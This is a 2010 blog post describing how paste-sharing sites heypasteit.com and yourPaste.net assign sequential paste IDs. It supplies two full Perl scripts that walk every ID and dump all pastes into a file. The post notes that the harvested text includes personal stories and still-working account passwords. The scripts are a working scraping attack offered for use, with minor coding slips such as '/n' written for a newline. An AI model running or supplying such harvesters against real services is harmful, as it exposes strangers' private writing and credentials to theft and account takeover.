Sunday, August 15, 2010

People's Garbage! They paste it you get it!

There are some sites like www.heypasteit.com and www.yourPaste.net that offer an easy way to show your friends any text you like by pasting and getting a link with a random string. For example if you paste something in www.heypasteit.com you get this link http://wwwheypasteit.com/AAB or http://www.heypasteit.com/download/AAB for downloading the text. In paste.net you get something like this: http://www.yourPaste.net/download/2003 . But are these strings really random? In these sites they are more like a number that is increasing by the paste. So we could be able to retrieve all peoples pastes and see what we can get.
Vaslabs found out that there are personal stories, accounts with passwords still active, megaupload links (many still active) and more!
So to get this we should write a script that downloads the text for every single link and saves it in a file. Vaslabs used perl for their script, and the target was yourPaste.net because it needs less time. However we will show you both ways:


#this is a comment
#perl program for downloading text files
#and save their content in a single large file
#script for heypasteit
use LWP::UserAgent; #loadlib User Agent
$ua=new LWP::UserAgent; #create a new user agent object
$ua->agent("Mozilla/8.0"); #define mozilla as user agent
$ua=LWP::UserAgent->new; #define the mozilla user agent
$InitialUrl='http://www.heypasteit.com/download/'; #heypasteit url in variable $Initial Url
open FILE, ">Research.txt" or die $!; #open file

for ($i=65;$i<=90;$i++)#ascii 65=A ascii 90=z { for ($j=65;$j<=90;$j++) { for ($k=65;$k<=90;$k++) { $URL=$InitialUrl.chr($i).chr($j).chr($k); #complete url print " * Trying ".$URL."\n"; my $req=HTTP::Request->new(GET=>$URL); #download file and save it with HTTP::Request
$req->header('Accept'=>'text/html');
$res=$ua->request($req);
$con=$res->content;
print FILE $con; #save the content of the file
#put a line for recognition
print FILE "/n============================================/n";
sleep(.2); #wait for 200 milliseconds(This depends on your Internet speed)
}
}
}
close FILE;
exit;
quit;

--------------------------------------------------------------------------------------------------------------

#for yourPaste.net the difference is on the link and on for stations
use LWP::UserAgent;
$ua=new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua=LWP::UserAgent->new;
$InitialUrl='http://www.yourPaste.net/download/';
open FILE, ">Research2.txt" or die $!;
for ($i=2;$i<=9;$i++) { for ($z=0;$z<=9;$z++) { for ($j=0;$j<=9;$j++) { for ($k=0;$k<=9;$k++) { $URL=$InitialUrl."$i"."$z"."$j"."$k"; print " * Try ".$URL."\n"; my $req=HTTP::Request->new(GET=>$URL);
$req->header('Accept'=>'text/html');
$res=$ua->request($req);
$con=$res->content;
print FILE $con;
print FILE "/n============================================/n";
sleep(.2);
}
}
}
}
close FILE;

No comments:

Post a Comment